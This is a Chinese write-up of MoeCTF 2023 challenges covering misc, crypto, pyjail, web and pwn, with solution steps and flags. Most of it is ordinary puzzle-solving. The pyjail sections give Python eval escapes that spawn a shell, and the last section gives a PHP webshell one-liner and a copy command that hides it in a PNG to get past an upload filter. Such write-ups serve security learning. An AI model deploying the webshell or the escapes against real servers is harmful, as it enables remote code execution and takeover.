Misc 入门指北

放basecrack跑一下就行了:

image-20230814122337656moectf{h@v3_fun_@t_m15c_!}

打不开的图片1

改文件头为FF D8 FF,然后改后缀为jpeg,就能看到图片了

image-20230814123146951

图片如下:image-20230814123247455

右键查看属性,发现image-20230814131929494

是16进制字符串,转换一下得出flag

moectf{XDU_i5_v3ry_6e@u2ifu1}

image-20230814131922121

打不开的图片2

发现IHDR

IHDR是PNG文件的文件头数据块

image-20230814133910041

删除前面8个数据,然后修改头部数据为png的文件头:

1
89 50 4E 47 0D 0A 1A 0A

然后后缀改为.png

image-20230814134013876

moectf{D0_ yOu_1ik3_Bo7@ck_?}

签到

直接复制链接就可以了

image-20230814134522384

狗子(1) 普通的猫

提示用hex编辑器,直接用010打开ctrl+f搜索moe

image-20230814134752145

moectf{eeeez_f1ag_as_A_G1ft!}

狗子(2) 照片

宽高一把梭后没有隐藏内容,因此不是宽高隐写

放入stegsolve ,在alpha plane 0处发现了类似莫斯的东西

image-20230814143543650

放大:image-20230814143743874

rgb0

1
2
30 00 00 79 F6 99 69 B7 52 21 B6 
48 0 0 121 246 153 105 183 82 33 182

png:

1
2
89 50 4E 47 0D 0A 1A 0A
137 80 78 71 13 10 26 10

base乐队

先basecrack一下,得到这个字符串:

image-20230814154229623

1
bYeNQXYZXbXZQfW31FGzzD0m0FHQ9RR85FFQYMB9M=lmo2ku11z0uiz=

然后因为一般base编码的=都在最后,所以想到栅栏解密:image-20230814154205105

将第二个放到basecrack里再解一下:image-20230814154318711

1
moectf{Th4_6@nd_1nc1ud45_F3nc4_@nd_b@s3}

烫烫烫

众所周知,这种乱码是utf-8和gbk混乱导致的

奇怪的压缩包

foremost 一下:里面有jpg、png、pptx等等

python bwmforpy3.py decode 00000327.png 00000063.png 00000437.png wooow.png

pptx打开发现:

ctrl + A

注意中间还有个注释,内容是

1
_?_

image-20230814162913564

查找} 得知:image-20230814164059205

image-20230814164216745

利用预览得知为

1
_pp4x!}

加在一起就是:

1
moectf{2ip_?_n0_i4_pp4x!}

或者用在线工具提取文本https://products.groupdocs.app/zh/parser/ppt:![image-20230814164820567](https://tuchuan-1317533020.cos.ap-nanjing.myqcloud.com/image/image-20230814164820567.png)

tips:原来把123456加上不可以,就试着把123456去了,然后就成功了

机位查询

社工题

第一张图:image-20230814171250758

1
jiashi

第二张:image-20230814171539088

百盛

1
baisheng

第三张:

image-20230814172442391

根据构图可以分析出这一个方向

断定为:image-20230814173918548

但是经过仔细比对:image-20230814174315608

应该是这个:

1
guangdian

moectf{jiashi_baisheng_guangdian}

你想要flag吗

用audacity查看波谱:

image-20230814185336258

pwd:youseeme

decode.exe -X 1.WAV -P youseeme

Crypto 入门指北

示例代码放进去跑一下即可

1
2
3
moectf{weLCome_To_moeCTf_CRypTo_And_enjoy_THis_gAme!_THis_is_yoUR_fLAg!}


runme2

加./来运行

ezrot

直接在线解密:使用rot-47

image-20230815000655667

moectf{rot47_is_just_a_simPle_letter_substitution_ciPher_EDpy5tpe5juNT_}

可可的新围墙

看标题便知是栅栏,但是枚举完好像没有正确的,于是便猜测是某种变体:

1
2
mt3_hsTal3yGnM_p3jocfFn3cp3_hFs3c_3TrB__i3_uBro_lcsOp}e{ciri_hT_avn3Fa_j 

w试一下:

image-20230815005706242

moectf{F3nc3_ciph3r_shiFTs_3ach_l3TT3r_By_a_Giv3n_nuMB3r_oF_plac3s_Ojpj}

图解:

1
2
3
4
5
mt3_hsTal3yGnM_p3j
ocfFn3cp3_hFs3c_3T
e{ciri_hT_avn3Fa_j
rB__i3_uBro_lcsOp}

image-20230815011002469

皇帝的新密码

一眼凯撒,偏移量7:moectf{CaEsaE_CIphEr_Is_a_vErY_sImpIE_CIphEr!_SfNONT40j5DuXJSTD5Xatz4To}

test_nc

ipconfig查看本机ip

根据群文件指引连上后,ls一下

1
nc *.*.0.* 54594
1
cat gift

它提示有隐藏文件

1
ls -a

查看所有文件,发现.flag

1
cat .flag

moectf{YZ7IA_1X6FGU5ZhiEyy1lq3stGCtClSj}

Jail Level 0

1
2
相关概念
RCE(远程代码执行):这是互联网的一种安全漏洞,能够让攻击者直接向后台服务器远程写入服务器系统命令或者代码,从而控制后台系统。

挑战源码:

1
2
3
4
5
print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
print('calc Answer: {}'.format(eval(user_input_data)))

pyjail:payload

1
2
3
4
5
`__import__('os').system('cat ./flag.txt')

or

print(open('/flag.txt').read())`

普适payload:

1
__import__('os').system('sh')

它使用 __import__ 函数导入 os 模块,然后使用 system 函数执行了一个 shell 命令。

image-20230816213047525

flag{sJxaEbnrYVGlIi653mzjki-cvEqmbjW1}

Jail Level 1

1
相关概念:pdb模块

提示说限制了payload长度

先获取代码:

1
2
3
4
5
6
7
print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
print("Oh hacker! Bye~")
exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))

看代码得知限制在了12个字符

提示: you need to find a payload not above 12 byte

打断点:breakpoint()

image-20230816221122858

flag{7va2ijWSwxVtk6OdqNrivyyd7-2qjiuF}

Jail Level 2

1
2
3
 Hint for beginner:                                                                                                                                 |
| 1. you need to find a payload not above 6 byte |
| 2. the docker file use socat. the EXEC arg is --> `EXEC:"./xxxxxxx.py",pty,......

输入help(),随便找个模块输一下,然后输入!sh即可进入shell

image-20230816222440958

Jail Level 3

先看代码:

1
2
3
4
5
6
7
8
9
10
11
12
import re
BANLIST = ['breakpoint']
BANLIST_WORDS = '|'.join(f'({WORD})' for WORD in BANLIST)
print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
print("Oh hacker! Bye~")
exit(0)
if re.findall(BANLIST_WORDS, user_input_data, re.I):
raise Exception('Blacklisted word detected! you are hacker!')
print('Answer result: {}'.format(eval(user_input_data)))

ban掉了breakpoint、help,长度不能超过12

http

你需要完成以下任务:

  1. 使用参数:UwU=u。这意味着你需要将参数名设置为”UwU”,参数值设置为”u”,并将其包含在你的请求中。
  2. 发送一个名为”Luv”的POST请求。这意味着你需要向指定的目标URL发送一个包含参数名为”Luv”的POST请求,并将参数值设置为”u”。
  3. 使用管理员角色。这可能意味着你需要在请求中包含一个代表管理员权限的标识,以便服务器可以验证你的身份。
  4. 请求来自127.0.0.1。这意味着你需要修改你的请求,使其看起来是从本地主机(IP地址为127.0.0.1)发出的。
  5. 使用浏览器”MoeBrowser”。这个要求可能暗示你需要修改你的请求头,将”User-Agent”字段设置为”MoeBrowser”,以模拟使用特定的浏览器发送请求。

完成所有任务后,你将能够解决这道CTF赛题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /canonical.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 MoeBrowser
Accept: /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
get: UwU=u
host: Luv=u

请求的浏览器标识为MoeBrowser

1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 MoeBrowser

web入门指北

16转ascii

flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=

base64:

moectf{w3lCome_To_moeCTF_W2b_challengE!!}

[pwn] baby_calculator

nc练上去以后:

image-20230817202925633

他要我们帮他判断:

计算正确:BlackBird

计算错误:WingS

狗子3

可用ExtractNow这个工具

moectf{Ca7_s133p1ng_und3r_zip_5hell5}

照片冲洗

foremost出来的图片和原图大小有差异,说明藏了东西image-20230818122324076

进行文件对比:

image-20230818123047328

把多出来的提取出来

出来个这么个玩意:5 (1)

我以前见过这个,叫npiet

building_near_lake

社工题,图片搜一下就知道是厦门大学(翔安校区)-德旺图书馆,用https://api.map.baidu.com/lbsapi/getpoint/index.html把坐标提取出来,然后拍摄设备是红米k60 发布时间20221227

image-20230819145306339

moectf{P0sT_Y0uR_Ph0T0_wiTh_0Riginal_File_is_n0T_a_g00d_idea_YlJf!M3rux}

狗子4

1

meo图床

其有检测机制,需要添加png的文件头让其识别为png文件

在添加文件头后即使后缀为php还是能上传,说明只检测文件头

可利用图片马

一、木马.asp的内容:

1
<?PHP @system($_GET['cmd']);?>

制作:

1
copy 图片文件名/b+一句话木马文件名/a 制作的图片马文件名

copy 100.png/b +1.asp/a muma1.png